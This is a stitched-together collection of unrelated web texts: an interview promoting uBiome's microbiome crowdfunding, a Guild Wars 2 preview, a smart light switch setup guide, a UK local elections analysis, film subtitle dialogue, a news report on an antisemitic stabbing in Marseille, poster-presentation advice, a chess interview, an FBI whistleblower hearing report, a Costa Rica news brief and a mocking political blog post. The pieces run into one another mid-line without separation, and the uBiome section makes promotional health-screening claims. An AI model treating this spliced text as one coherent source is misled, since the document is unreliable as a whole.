Jessica: uBiome is HIPAA compliant. We will never release any of your personal identifying data. We will never even store your data in such a way that anyone could figure out who you are from it. And don’t worry — because your microbiome is constantly changing, it can’t be used to figure out who you are either.We’ve been asked a lot if we are going to open our data to the public and we are still weighing how to handle the issue We are huge fans of open science and would love to open our data to the public. However, it is *your* data, not ours, and we are concerned about protecting your privacy, as well as other issues. We may decide to allow our users to choose open data as an opt-in. We’ll do our very best to balance the need for scientific openness with the imperative for strong individual privacy protections.
H+: I was excited to learn about your project because it shows the very real potential for small groups of citizen scientists to self organize and do meaningful science outside of the usual university laboratory system. Can you say anything more about the DIY and independent aspect of this?
Jessica: Yes! I feel very strongly about the future of citizen science and am passionate about getting everyone involved in science. Science is a field of human endeavor which uplifts us and expands our understanding of the universe. Particularly in the biomedical field, science makes possible a better life for all humans. I’m glad to be part of a movement that brings cutting edge science directly to all of us and allows everyone to be empowered to look at our own data, do our own experiments, and democratize the process of scientific discovery.
H+: What do you expect the results of this project to be? Can we cure diseases by learning more about our microbiome? What is the existing science here?
We can tell you a number of things. First, can draw correlations between the microbiomes sequenced in our study and various health conditions. For example, we can tell you if you have a profile that correlates with Type 2 diabetes or one that correlates with alcoholism.
Second, we can track changes over time. We can tell you how your new diet is affecting your microbiome, whether you’ve recovered from a recent dosage of antibiotics, or whether a health condition like IBD is likely to flare up soon.In the bigger picture, the more people that join the uBiome community, the more statistical power the project will have to investigate connections between the microbiome and human health. For example, with 500 people, uBiome will be able to answer questions about relatively common diseases such as diabetes and hypertension. With 2,500, the project can investigate connections to breast cancer. With 50,000 people, the project can begin to address multiple sclerosis and leukemia. A larger uBiome community has more statistical power and can begin to investigate more and rarer diseases in the context of the microbiome.
H+: Since the microbiome is an ecology of sorts, it is not static but rather interacting and changing over time as you mention. Many of my readers are interested in the idea of the “quantified self” where individuals measure and record/analyze data from their bodies to optimize performance, health, longevity and so on. What sort of quantification is possible here and what is the future for individual level real time quantification or ongoing measurement of the microbiome over time like this?
Jessica: Definitely — measuring the microbiome over time is really quite interesting. While sequencing the human genome provides invaluable knowledge, it is very difficult to change our genetic makeup. The microbiome, in contrast, may be more easily changed through lifestyle interventions: diet, probiotics, etc. By joining uBiome, citizen scientists can explore their own microbiome and be partners in the process of scientific discovery.More practically, we sell a Quantified uBiome package that includes three GI kits to use at three different time points, as well as a web app for building experiments. This is great for personal experiments, such as starting a new diet, exercise, or other intervention. Larry Smarr also encouraged us to set up a special kit for Bowel Conditions which includes three GI kits and a special survey about bowel conditions that will enable us to go into more detail.
H+: Can we engineer or alter the microbiome? It seems there are already some probiotic products that claim to do this by introducing organisms and I recently read a report about a parasite that seems to cure some intestinal problems. I also understand that what is happening in the microbiome can influence mood and therefore also performance and well being. Will we be curating our own personal microbiomes for optimal health and well being in the future? Feel free to speculate 🙂
Jessica: Well, this is definitely science in the future, but in my opinion, YES. My belief is that microbiome completely rewrites our understanding of disease it undermines the model that says one germ causes one disease so go kill it to make everything fine. We are a complex ecosystem of human and microbial cells, and the more we know, the more likely we are to be able to design interventions that can make a difference. The gut disorders seem to be the place to start, as there are already microbiome-related interventions that are in use — fecal transplants, for example. But that is just the beginning.
Please sign up and support citizen science at www.indiegogo.com/ubiome! We would really appreciate it. 🙂 Want to learn more about what sort of stuff is growing inside and all over you?
Check out this beautiful interactive graphic at Scientific American.
Human Microbiome ProjectShare. ArenaNet's MMO continues to impress. ArenaNet's MMO continues to impress.
There's a lot to like about Guild Wars 2. It's a fast-paced MMO that offers a great amount of freedom, not only in how you develop your character class and swap skills during battle, but also in how you quest. Tasks aren't designed to be of the worn-out fetch and kill variety; instead, quests pop up dynamically as you roam around Guild Wars 2's beautiful landscapes. The goals can be as basic as fighting off critters from the entrance to a mine, to firing off magical beams of energy at colossal undead dragons taking cover behind enormous bone walls.
Though ArenaNet hasn't yet revealed the eighth and final class, what's already been shown proves there are plenty of reasons to look forward to the eventual release date. Five races, including the elf-ish Sylvari and diminutive Asura can be paired with a wildly diverse range of classes. Since no dedicated healing class exists and every class can revive, class selection doesn't feel as limiting. There's no need to debate whether you want to play a healer or a warrior. Every class can heal themselves and they do it in various ways.
While some classes directly heal themselves with a spell, the Necromancer is a little different. He summons a fleshy floating companion to his side that'll attack as a pet. If the pet is recalled, you regain life. It's a little more of a roundabout way of healing, but in the meantime Necromancers have the benefit of another source of damage, as well as a way to distract enemies. This latter point is especially important because it lets you dish out more status effects on enemies, like bleeding, poison and crippling effects. Not only do these debuffs serve to weaken enemies, but also allow you to deal major damage with the Necromancer's Feast of Corruption skill that scales up as the number of active debuffs increases.
Skills are tied to weapons in Guild Wars 2, and swapping one out for another will change your active skill set. Because this can be done on the fly, it's important to know what all your skills on every weapon do, as some can be extremely useful when paired. Like most things about Guild Wars 2, there's an asymmetry across classes for how skill swapping works. While a Necromancer can swap weapons on the fly, an Elementalist needs to do it by opening the inventory screen. As an alternative in the heat of battle, the Elementalist can switch between element types using the F keys, changing between water, fire, earth and air. And if keeping track of all the different spell types – like lightning that leaps between targets and walls of flame that erupt from the ground – is too much, you can always instruct the Elementalist to turn into a tornado at high levels. Not surprisingly, it's especially effective in large groups to transform into a swirling column of air to knock down and damage any nearby.
The element of customization extends to the character creator as well, where you can outfit any of the races with various hair and face types, adjust height and color the armor designs. The color design for armor is meant to extend beyond the starting gear – all gear you acquire thereafter is painted with the color pattern designated at the outset. A number of sliders exist if you really want to fine-tune your character's appearance, and a number of race-specific tweaks are in there as well, such as horn styles for the cat-like Charr.
From the beginnings of the game to its highest levels, you'll encounter dynamic events that scale in difficulty depending on how many players are present. Even the low-level challenges are impressive, such as a giant warrior made of rock embedded in the wall of a cave near the very start of the Charr storyline. Brandishing a weapon and routinely causing players to run in terror, the warrior is easy to take down but at least feels satisfying thanks to the sense of scale. But nothing I played quite compares to the undead dragon battle in the high level Sparkfly Fen.
The dragon sits out in public in a cage of bones that protects it from incoming damage. You and any others in the area are free to engage, and need to work together if you want to bring it down. ArenaNet says this particular dragon is one of the smaller ones in the world of Guild Wars 2, though is still absolutely enormous onscreen. It's possible to run behind the bone wall to try and get hits in, but then you run right into the multiple enemy types that help make this encounter much more challenging. Bone-like fingers extend from the ground in a large radius in front of the beast and can knock you around if approached. They need to be killed as quickly as possible, as do the shambling, exploding zombies and other undead creatures that will periodically spawn and make your life difficult.
There is good news. Friendly NPCs will run around the battlefield too and set up turrets you can hop into and fire. With luck you'll be able to use the turrets to bust up the bone walls and peck away at the dragon's life bar. Turrets can be destroyed, unfortunately, so you need to keep an eye out for incoming bands of enemies looking to wipe out the NPCs and junk the siege machines. If that happens you'll need to fight off all the enemies, revive the NPCs and wait for the machines to be repaired until firing again. It's a huge, multilayered conflict that spans a large amount of surface area and takes quite a bit of time. Those I was playing with didn't come close to clearing it, but I imagine when the game is finally ready for release, clearing these kinds of challenges will be really satisfying.
Every time I leave a play session of Guild Wars 2 I just want to play more. This time was no different.Here is what we are going to be working with. A GE Z-Wave In-Wall Smart Switch. The thing I like about these switches is they look right at home. No fancy LED on the front. No fancy toggle. No fancy logo. Just a generic switch.
Since this switch speaks on Z-Wave, we will need a hub to control it. I will be using my Samsung SmartThings. I will also be linking it to my Amazon Echo Dot when I’m done.
Read More: Best Smart Home Hubs for 2017
Important Note and Warning: If you are not comfortable doing electrical work, please hire a professional to wire your switch in. The $60 it’d cost to have someone knowledgeable do this is much cheaper than the hospital costs of you potentially messing up and shocking yourself, or worse, you killing yourself. I will not be telling you how to wire it together. Wiring things incorrectly can start a fire. Please don’t start a fire.
With that warning out of the way, let’s get started. Here is my light switch installed in the wall.
It is a tight squeeze, but it fits. My goal is to also replace the middle switch, but I’ll do that later.
Now that it’s been installed, let’s get it set up. For that, we are going into the Samsung SmartThings app.
Click on My Home at the bottom and then + Add A Thing. After you do that, go to your switch and toggle it up for a second and let go.
I had to press it up and down a few times before my hub noticed it.
Once your hub finds it, you’ll see this on there.
As you can see, I took the opportunity to name my device. This name is also how you will refer to it through your Amazon Echo Dot.
Once you are done, go back to My Home and you will see your device listed.
Use this opportunity to toggle your switch on and off. Congrats, you have a new Smart Switch 🙂
Next step is to add it to your Echo so you can command it with your voice. If you haven’t already, you will have to add the SmartThings skill to your echo. You can do that in the Skills tab in the app.
Start up your Alexa app and go to the smart home tab. Once you’re in your smart home settings, scroll down to the bottom.
See that Discover Devices link? Click on that. After about 20 seconds or so, you will see your new device in the list.
Sweet! Now, let’s add it to a group. I only have 1 switch for my front entrance so far, but I have another waiting to be installed. I will want to tell Alexa 1 command to turn all the lights in the hallway on and off and a group will allow me to do that.
So go to the top of the Smart Home tab now.
Click on that Create Group link. You will be presented with a screen where you can enter your group name and select devices to be in that group.
Once you’re done, click on Save. You can now have Alexa control your lights by saying Alexa, turn the Front Hallway lights on. You can also control it individually by saying Alexa, turn on Entrance Hallway light.
Great job! While the GE Z-Wave Smart Switch does require a hub, it offers a very clean in-wall look that functions just like a regular light switch. The integration with the Samsung SmartThings hub and Amazon’s Echo Dot is very straight forward.
I’m very happy with the setup process. It was easy to install and easy to set up. The switch is a little bulky, but it does fit in a standard box. The instructions it came with were also very detailed. Overall, you can’t go wrong.
Good luck!
Read Next: How To Set Up the Belkin WeMo Switch with Amazon EchoTheresa May should be looking forward to the beginning of May with some trepidation. Instead it is Jeremy Corbyn and Paul Nuttall who have most to fear.
The cause of their concern? This year’s round of local elections. On May 4 much of England and all of Scotland and Wales go to the polls. Normally, whoever is in power at Westminster takes a beating in these town hall contests. Yet there is little sign that the Conservatives will suffer such a fate this year. Instead, it is Labour and Ukip who appear most at risk of losing ground.
In England the principal focus of attention is on elections for 33 county councils (including half a dozen that also double up as district councils, and not only run schools and social care but also empty the bins and decide local planning applications). These councils are predominantly in shire England outside of the big cities, and thus are in the heartland of Conservatism.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Even though the Conservatives were in power when these county councils were last fought in 2013, the party still managed to win 1,100 or not far short of half all the 2,300 seats at stake. Labour, in contrast, won just over 500 and overall control of just three councils, Derbyshire, Nottinghamshire and Durham.
This imbalance, though, was not the most remarkable feature of the results. Rather it was the success of Ukip. The party astounded everyone by winning a fifth of all votes cast, even though it only fought three-quarters of the wards up for grabs.
That is why this year’s local elections are potentially so difficult for Paul Nuttall. His party is defending a high watermark that it has never managed to emulate in any set of local elections since. As a result, even though the party is seemingly still hanging on to most of the 13 per cent of the vote that it won in the 2015 general election, it could still lose most of the 130 seats it will be trying to defend.
High watermarks are not, however, Labour’s problem. Its 2013 local election performance was distinctly modest – the party was almost outpolled by Ukip. Yet at least it stood in the national opinion polls at the time at an average of 39 per cent. Now it stands at just per cent. Conversely, the Conservatives are currently on 42 per cent, up 11 points on the position four years ago, and potentially enough to give Theresa May an overall majority of 80 if there were to be an early general election.
The swing against Labour since four years ago is unlikely to be as big in the local ballot boxes as it is in the national polls – Labour as well as the Conservatives should profit from the anticipated collapse in the Ukip vote, while Labour’s vote is already so low in much of shire England that it does not have 12 per cent left to lose. Nevertheless, in the handful of comparable county council by-elections held since the Brexit referendum, there has on average been a two-point swing from Labour to Conservative. Even a swing as low as that could be enough to cost the party its control of Nottinghamshire.
However, the most eye-catching contests in England are not the county council elections, but rather those for six new posts – directly-elected ‘city region’ Mayors, an innovation on which George Osborne insisted as Chancellor in return for handing out cash and powers to combinations of (often Labour) local councils that cover some of the country’s larger provincial cities and the surrounding hinterland. Labour MPs, Steve Rotherham and Andy Burnham,
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trustworthy.
Ah, that's Donald.
He's an asshole.
- Ashley, it's just nerves.
- Oh yeah, I'm sure.
- You just need to ease
your way back into it.
- Yep.
- Maybe you could help me
draw my comic in the meantime.
- Oh, I don't think so.
I don't think I could do that.
- Sure you could.
- Your line work
is really... precise.
I don't think
i could do that anymore.
- There's no mustard in this.
Aw, they forgot the mustard?
I don't like to eat Turkey
without mustard.
In my comic book, the happy
blue bunnies love mustard.
- That's fuckin'...
That's... that's so cute.
- Did you get a chance
to read it yet?
- Oh... I...
I want to so bad.
- Ashley,
will you do me a favor?
- Will you run out
and get me some mustard?
- Aunt Charlie,
I made you an omelette.
Aunt Charlie?
It's time to wake up.
Charlie?
Charlie, get up.
Wake up.
Wake up--
there you are.
You can sleep through anything.
- Why do you do that?
It's so jarring.
- You were lying so still,
I just wanted to make
sure you weren't dead.
- Of course my body is still.
What do you expect me
to do when I'm sleeping?
Calisthenics?
- Well, it's a beautiful day.
We should go outside.
- Rest is good for the body.
What are you
trying to do, kill me?
- Of course not, aunt Charlie.
I just...
- Then why are you
trying to get me up?
I'm trying to sleep.
- It's just that I realized
today is kip's birthday.
- Are you okay?
- I need some air.
- Can you get me
a seltzer when you're out?
- Fuck.
Fucking seltzer.
Fucking shit.
Ah, shit.
Wow.
- Sally told me you were here.
I can't believe it.
- I can't believe it's you.
Wow.
Whoa.
Is that yours?
- He is, yeah.
He is.
His name's Ben.
- Hey, Ben.
Wow. He's a really,
really beautiful... baby.
Whoo.
- I'm sorry, Ashley.
I didn't know if you
were ever going to wake up.
- Yeah.
Yeah, I know.
- And I didn't have any money
and I still don't have
any money but...
- I met someone.
- Oh, good,
- good, that's good.
So, what's she like?
- He's nice.
- Oh.
- I brought this for you.
Yeah, I know.
You want to go home, I know.
- What is it?
- It's just some things I saved.
- Anyway,
it was nice to see you.
I've got to go.
I'm glad you're okay.
I know, baby.
I know.
- Why the hell did he join?
- I don't know.
He believed he was
making a difference.
- So naive.
They think they're
fighting for a cause
and they're really fighting
for the defense industry.
Young people...
They're so stupid.
- Oh my god,
i love this one.
- Oh.
- His glasses.
- We live in a society
that doesn't value life,
the earth.
Just money.
Adults are so stupid.
- Okay, well, if the young
people are stupid
and the adults are stupid,
who are we supposed
to turn to?
The babies?
- Yes, the babies.
Exactly.
- You're not serious.
Of course, you're serious.
- You know why?
Because babies,
as soon as they're conceived,
all they are
concerned with is life.
Like the earth, like kudzu.
Developing... growing.
- Kudzu is a parasite.
- Ashley.
Ashley.
Wake up.
It's time to wake up.
- Can I just... can I just
sleep a little bit longer?
- But you've been
sleeping so much.
I'm getting worried about you.
- No, no, no, no.
I'm just tired, that's all.
- Do you want to go
to my bed and sleep?
- No.
- I don't know.
Why?
Am I in the way?
- No, no, you're not.
Just make yourself at home.
Um... but, I have to go
to the studio, so...
Well, I have a lot
of work to do.
Um, but I'll see you
when I get back.
- Sally.
- Yeah.
- I'm sorry for
how I treated you.
- Oh, you don't need
to apologize.
- No, I was a real bitch.
- Well, sometimes.
But it actually motivated me.
- Really?
- Yeah.
- I mean, humiliation
can cripple some people
- but it made me work harder.
- Mmm.
- So, you didn't hate me.
- Of course.
But, sometimes,
the best revenge is success.
- So, why are you
helping me then.
- I'm not.
I'm taking great joy
in seeing you like this.
I mean, your life is over.
You can't paint.
You lost your girlfriend.
You lost your baby.
- Ugh.
- What are you doing here?
- We have some
unfinished business.
- Well, that's so dramatic.
- I lost everything
because of you.
- That's even more dramatic.
- It's true.
- I lost everything
because of you.
- Well, it looks like
you're doing okay now.
- Do you want a glass of water?
You look dehydrated.
- I didn't come here
to make peace, Veronica.
- How did you find me?
- Instinct.
- I'm not buying it.
- I followed your smell.
- I'm still not buying it.
- I found your bus ticket
from two years ago.
- I'll buy that.
We don't have to
do this, Ashley.
- My spirit's broken.
My heart is filled with hate.
I have nothing left to do
in this life but destroy you.
- Well, why don't you come in
and I'll make you
some breakfast first.
- I haven't eaten.
- Come on.
I'll make you an omelette.
You love omelettes.
- You remembered.
- Come on.
- How old was he?
- He would have been
19 yesterday.
- Mine would have been two.
One and a half, I suppose.
- I would have never
let kip enlist.
I would have stopped him.
But I couldn't.
I was asleep.
- You didn't think
the war was right?
- I never really thought
about it being right or wrong.
It just made us rich.
- It put me on the map.
- God, I miss
buying things though.
- This seems like
a pretty good option,
dropping out of everything.
- Yeah, you know,
i never thought I'd love
living in a place so remote.
I could never live
in the city again.
- You don't get lonely?
- Actually, no.
- Hmm.
- This is my aunt's place.
She's sleeping
in the back room.
- Wait, she's here?
- Oh, she could sleep
through an apocalypse.
No, I'm really
lucky to have her.
She's my last living relative.
Do you want to see my son?
- Sure.
- He made these videos for me
when he was in the war.
- Wow, what a gift.
- Yeah, here.
- Hey, mom.
Um, I hope you're well
and getting a lot of rest.
That was a joke.
Um, I actually met this girl
a couple of weeks ago.
Um, she's beautiful
and amazing
and we've been
hanging out a lot
and going on walks and stuff.
She doesn't really speak
that much English
but I'm teaching her.
- So, she...
- He's so handsome.
- Isn't he?
I was so angry for so long.
But these videos have...
Have saved me.
It's like...
It's like he's still
here with me.
- Oh shit. Oh shit.
- Hold on. Hold on.
- Oh my god. Oh my god.
- Give me that...
Give me that napkin.
Please, please, please.
- Dry it... dry it off.
- Oh shit.
- Oh shit.
- Oh my god,
it's going to be fine.
- Oh my god,
it's not working.
- Veronica,
it's going to be fine.
- Oh my god,
it's not fucking working.
- It's going to be fine!
- You broke it!
- I didn't break--
- Ashley, you fucking broke it.
- Look, it's playing!
It's playing!
- You broke it.
You fucking broke it.
- It was an accident,
Veronica.
There's water spilled...
- Why are you
drinking water near it?
- What are you talking about?
You put it on the table!
- This is all I have.
- What?
- Ashley.
- You backed them up?
- Oh, come on.
- No, I didn't back it up!
- Surely, you backed up
your son's videos!
- How?
- How? Where are we?
- What are you talking about?
- Put it on the cloud!
- I'm in the middle
of a fucking cabin.
- Oh my god,
are you serious?
- You didn't back up
those fucking videos?
- No, I didn't back it up.
- How many times
do I have to tell you!
- I didn't...
- Do not fucking blame me
- for your stupid
fucking mistake!
- Blame you?
You are killing my son
all over again.
- You bitch!
- Uh.
- Fuck you!
Get up.
Get up bitch!
- Uh.
Ugh.
Ah!
- Fuck you!
- Look at me!
Look at me!
- System reboot. System reboot.
System reboot. System reboot.
- I was on this mountain
yesterday
and I took this landscape,
I drew this landscape,
and I thought it was
so peaceful and beautiful
and I just wanted to show it
to you because it was so...
Um, I think I need to go.
Wake up soon.
I love you, mom.A teenager who stabbed a Jewish teacher in the southern French city of Marseille Monday is a Turkish citizen of Kurdish origin who told police he attacked in the name of the Islamic State (IS) group, according to a prosecutor.
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The attack, which left the 35-year-old teacher with an injured hand and shoulder, occurred in broad daylight in the south of the city, Marseille prosecutor Brice Robin told reporters Monday.
The 15-year-old ethnic Kurd rushed the victim from behind and stabbed him in the shoulder, then chased after him for a few metres until he fell, Robin said.
The victim fended off the assailant using his arms and legs, as well as his "holy book", which was damaged in the scuffle, the prosecutor said.
The teenage suspect "has the profile of someone who was radicalised on the Internet", Robin told a press briefing.
"He claimed to have been acting for Daesh," Robin said, using the Arabic acronym for the IS group.
"You get the sense that he does not have a full grasp of the fundamentals of Islam," he added.
A good student radicalised online
The boy admitted to investigators that he planned to arm himself and kill police as soon as he is released, according to Robin.
The prosecutor said the teenager's family was unaware of his radicalisation and that he was a "good student".
"It appears there was a form of premeditation" with the intent of killing the victim because of his religion, Robin said.
The teenager, who will turn 16 next week, faces charges of "attempted murder on grounds of religion" and "defence of terrorism".
Reacting to the incident on Twitter, French Prime Minister Manuel Valls said, "The anti-Semitic aggression against a teacher in Marseille is revolting."
The teacher was on his way to work at the Franco-Hebraic Institute when he was attacked.
‘Revolting anti-Semitic aggression’
The incident came nearly two months after another assault, north of Marseille, in which three people shouting anti-Semitic obscenities and support for the IS group stabbed a Jewish teacher, injuring him in the arms, legs and stomach.
Tensions are mounting in France less than two months after attacks by Islamic extremists in Paris left 130 people dead. French Interior Minister Bernard Cazeneuve described the slashing as a "revolting anti-Semitic aggression".
Two churches were burned Sunday, and a boar's head and racist inscriptions were found Friday at Perpignan's main mosque.
(FRANCE 24 with AFP and AP)By Jessica Waninger-Saroni, St. Mary’s University
Jessica received honorable mention in the 2014 ASBMB poster competition for Enzyme Mechanisms and Chemical Biology Best Thematic Poster Award. She presented her poster, “The crystal structure of SOD5; an unusual copper-only superoxide dismutase.”
After countless hours spent in the lab doing experimental procedures, it can seem daunting to figure out just the right way to assemble all the information you have gathered into one coherent piece of work. In this situation, the best thing to do is actually quite simple and is something that we learned in early childhood: tell a story.
A good story contains key elements such as sufficient background on the topic and its relevance. Why should I care about your project? What impact will your findings have on the scientific and medical communities? More importantly, if I am in a field not even closely related to yours, could I understand your poster? Imagine that you are a cell biologist studying nucleosome packaging and you review a poster about medicinal bioorganic chemistry. Chances are that you will not have sufficient knowledge to adequately understand the framework that the presenter’s project is built on; this is where background becomes important.
The content of your story is crucial, but how you plan to present it is just as important. One thing to keep in mind is that we are visual creatures. Images have the unique ability of capturing the attention of an audience while efficiently and succinctly describing an entire idea. Very few people enjoy standing one foot from a poster and squinting at tiny print describing the miscellaneous details of every reagent used. These details are important and you should be knowledgeable about them, but they do not necessarily need to be displayed on your poster. By using images rather than text, you will be able to illustrate the key chapters in your story. This will reinforce what you say and help you stay on a deliberate path as you present.
Once you have your story figured out, your visuals finalized and your text spell-checked (It’s amazing how misspelled words pop out in size 32 font), the next step is to start practicing. The best way to practice before arriving at the competition is to give your presentation over and over again. I did so many dry runs with my poster that my friends could just about recite it for me. You should know how to deliver your masterpiece in 5-7 minutes, and your fingers should know where to point without even looking at your poster; this is preparation. Finally, when preparing what you will say, it is important to anticipate questions and prepare appropriate responses.
You should have some understanding of every topic related to your research, even if you didn’t personally do a specific portion. If it is on your poster, know exactly what it means and its potential applications.
It can be intimidating to talk to professors about your research because you realize that the depth and breadth of their scientific understanding far outweighs your own. In this case, it is important to remember that this is your project. Aside from your mentor, no one knows more about it than you do. So you should stand tall and speak with confidence. Ultimately, presenting is a learned skill just like anything in life, and the more you do it, the better you get.
In many ways, going to a conference and presenting your project is one of the most productive things you can do in preparation for a career in science. At its most fundamental level, presenting teaches you how to effectively communicate your work to others. I would argue this is one of the most important characteristics of a good scientist today. The ability to communicate science to any audience shows true mastery of the topic. So utilize this opportunity to begin learning these skills as it will undoubtedly prove to be an asset throughout your scientific career.
Click here to learn more about the ASBMB annual meeting.This July world no. 2 Levon Aronian will participate in a chess summer camp in California. In the run-up to the event the organisers interviewed him about his own chess development when he was a talented child growing up in Armenia. He talks about how he initially preferred playing draughts, the struggle for sponsorship and what he enjoys most about modern chess.
There are few more interesting interview subjects than Aronian. We recently brought you an interview where he revealed what went wrong in the Candidates Tournament and gave his predictions for the upcoming Anand-Carlsen match. In another he made the surprising admission that he never expected World Champion Magnus Carlsen to become a top player. In that same interview he explained why he’s planning to travel to America this summer:
My friends were always asking me, but I didn’t have the opportunity. Now I’ve got time. We’re going to organise a training camp for American children just as we’re doing now in Armenia. That camp for US children will involve the trainers Melik Khachiyan – my first trainer, and Andranik Matikozyan. We’ll work a bit with the children and meet up as old friends from the 1990s. We shared a lot together, but now we meet up in different countries.
We received the following press release from the event's organisers:
As a prelude to the upcoming MetroChess & ACA Summer Chess Camp, headlined by lead instructor Levon Aronian, we interviewed Levon about playing chess in his childhood, as well as his road to becoming a professional chess player. His answers were, as usual, honest and genuine, and provide valuable insight into the life of one of the strongest and most creative chess players today.
1) Can you tell us what it was like to learn chess in your youth? What did you like about the game? Did you have any early ambitions to become #1 in Armenia, or the World Champion?
When I was 4 or 5 years old, my maternal grandpa tried to show me the game of chess, but I was more fascinated by the game of draughts (checkers) back then and I used to terrorize every guest that would visit my family by pestering them to play a game of draughts with me. My chess playing started when my sister re-introduced me to the game when I was about 9, and then it took off from there. My favorite thing in chess was that in comparison with draughts there was a big goal - the king! So from an early age I always went for risky, attacking options. I always had the feeling that I was a very good player from my earliest days. It's hard to say what my ambition or goal was back then, but whenever I got to beat everybody in my chess class, I wanted to play better opponents, and so on.
2) Did you attend any chess camps as a child, or group training sessions, or did you mostly train privately?
I was very lucky to have a great trainer staying at my house. Training with a then-strong IM Melik Khachiyan allowed me to blossom immediately, and I won my first Junior Championship of Armenia after just one year of getting to know the rules of the game. I visited one camp in my life and it was in Podolsk, Russia with the Petrosian Chess School when I was about 11 years old. There I met many of my future opponents, and trained under the guidance of famous chess trainers such as Alexander Nikitin and Aleksander Vaisman, and got to see Garry Kasparov himself who gave lectures for 2 days!
3) At what age did you begin to take chess seriously, and when did you first consider yourself a “professional chess player”?
Since I grew up in a very turbulent time, taking myself seriously was the only way. After the fall of the USSR most scientists became jobless, and since my parents were in science, my early success in chess became the light for my family. It might sound strange, but my professional career started at the age of 10, when, with my mother's continuous efforts of knocking on every high ranked official's door, I got my first sponsorship deal.
4) In 1994 you won the World Youth Championship U12, and in 2002 you became the World Junior Champion – how important were these victories to you? How did you deal with the pressure of the final rounds in those events?
Winning tournaments in my early years was vital for me and my family. Good results enabled me to find new sponsors, and without them I think I would never have become the player that I am. Pressure is always there; but playing in Armenia where everyone is a fighter made me skilled in last round situations.
5) Was there a particular moment in your career when you felt your personal chess “style” was developing?
I want to believe that I am still developing and I welcome new challenges. I do feel that most of the things I love in chess come from 3 people - Melikset Khachiyan, Arshak Petrosian, and Gabriel Sargissian.
6) Is there a particular part or subject of the game you enjoy studying? (openings, middlegames, endgames, tactical combinations, etc.)
I really enjoy finding new ideas in the early stages of the game. The biggest joy in the modern chess era is the discovery of good moves that are not approved by the computer.
7) Can you name some of your favorite chess books growing up, or current favorites?
I absolutely adore “Attack with Mikhail Tal”, by Mikhail Tal & Iakov Damsky, as well as Petrosian's and Larsen’s annotated game collections. I love it when the book consists of light analysis but plenty of words describing the subtle psychological details.
8) In your view what is the main benefit of learning chess during childhood?
Chess can teach a person to appreciate beauty in things that are not visibly beautiful at first sight. In chess you need to dig deep to see the true meaning of some moves. Another thing I learned from chess is patience. Before you react, you need to understand the situation.
9) Is there any advice you can give to young developing chess players?
I think it's important to be good at tactics and calculation. Those skills you can develop by yourself, and for strategy you will need an experienced guide. The best thing that Melik did for me was to force me to solve and play blindfold chess - it helped my calculation and imagination.
The 2014 MetroChess and ACA Summer Chess Camp will take place from July 9-13th, in Glendale, California. Levon will be joined by several other top instructors, including GM Melik Khachiyan, GM Dejan Bojkov, IM Armen Ambartsoumian, IM Andranik Matikozyan, WGM Tatev Abrahamyan, and Jay Stallings. For full details, please visit http://metrochessla.com/camp2014/. For any inquiries, please email [email protected]
See also:After a number of government officials expressed concern with the FBI’s treatment of whistleblowers, Senators on the Judiciary Committee have scheduled a hearing to look into the issue more closely.
Titled, “Whistleblower Retaliation at the FBI: Improving Protections and Oversight,” the hearing is scheduled for Wednesday, and will feature testimony from a David Maurer, the Department of Justice’s Director of Homeland Security and Justice Issues, DOJ Inspector General, Michael Horowtiz, and a long-time advocate for whistleblowers, Stephen Kohn, the executive director of the National Whistleblower Center.
The committee’s chairman, Sen. Chuck Grassley (R-Iowa), scheduled the hearing just days after the Government Accountability Office released a scathing report, exposing a “chilling effect” on whistleblowers at the FBI due to a lack of protections for bureau workers.
GAO found that the DOJ dismissed 71 percent of whistleblower retaliation complaints over the course of a year, with many dismissals a result of misleading information from FBI supervisors that leave conscientious informers vulnerable to retaliation.
Earlier this month, the department’s inspector general, Michael Horowitz testified before a House subcommittee, telling lawmakers that the FBI is shirking its transparency obligations, and thwarting two ongoing whistleblower retaliation investigations.
Specifically, Horowitz said, the bureau is withholding documents related to grand jury records, electronic surveillance, and Fair Credit Reporting Act information. The reluctance to hand over documents that the FBI is required to turn over under the Inspector General Act began in 2010, according to Horowtiz.
The DOJ’s Office of Legal Counsel is preparing a memo to determine if the FBI is violating the law by withholding the records from the IG.
Horowtiz warned that stonewalling has delayed retaliation investigations “for several months.”
“That’s a problem in terms of a message to a whistleblower,” he told lawmakers.
Whistleblower advocates have high hopes that the hearing will illuminate an issue that rarely gets attention on the floors of Congress or in the media.
“This hearing will be an eye opener to the internal operations of the FBI,” said Stephen Kohn in a press release about the hearing.
Also testifying at Wednesday’s hearing is FBI Agent Richard Kiper, a current whistleblower, who claims he was retaliated against in 2014 after he identified waste at the bureau.INSIDE COSTARICA.COM | COSTA RICA NEWS BRIEFS | Thursday 16 December 2010
US Military Presence in Costa Rica Rejected
Costa Rican opposition parties expressed their rejection to the entry of more soldiers, ships and helicopters from the US to Costa Rica, on a pretext to fight drug trafficking.
The Costa Rican Legislative Assembly is analyzing a new authorization for the arrival, stay in port and landing of war ships, helicopters and US Marines between January 1st and June 30.
"We are quite much worried with such an excessive military force to fight drug trafficking," said Victor Emilio Granados, from Partido Accesibilidad sin Exclusion (PASE) - Accessibility without Exclusion Party.
Granados said the permission should be analyzed carefully, and will generate polemics at the local Congress.
The US naval force will operate in exclusively economic zones of Costa Rica, in the Pacific Ocean and the Caribbean Sea.
In the middle of this year, the Costa Rican Parliament authorized the arrival of 7,000 soldiers, 46 war ships, more than 200 helicopters, 10 Harrier planes and two submarines.
The permission provoked the rejection of opposition parties and social sectors, regarding it as anti-constitutional, and something violating the national sovereignty.
Costa Rican deputy Luis Fishman, from the Social Christian Unity Party, presented a protest before the Constitutional Court, considering that the drug trafficking fighting agreement invoked to give the authorization did not include authorization for foreign military forces entering the national territory.
Other parties such as Frente Amplio and Accion Cuidadana also rejected the US military presence.
Civil society organizations convoked for a protest in front of the host building of the Parliament Monday at 3 P.M. local time, when the Legislative Assembly session began.
The authorization if part of the Programa de Patrullaje Conjunto (Joint Patrol) which exists since 1999. AvenidaClassifieds
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Click here!Now, they want to know if Barack Obama was circumcised:
The fine Real Americans at the Free Republic have found Obama’s achilles heel: his Long Dark Staff of White Insecurity.
hoosiermama:
The only other thing that hit me was that Sinclair said BO was not circumcised. When my son was born in a hospital that was done as a matter of routine without even consulting us. Would the same be for Hawaii? OTOH People born at home or in some other cultures are not circumcised.
thecodont:
A relative of mine was born (in a hospital) a couple of years after BO’s alleged birth date. He was circumcised also (as a matter of routine, not according to any family request).
afraidfortherepublic:
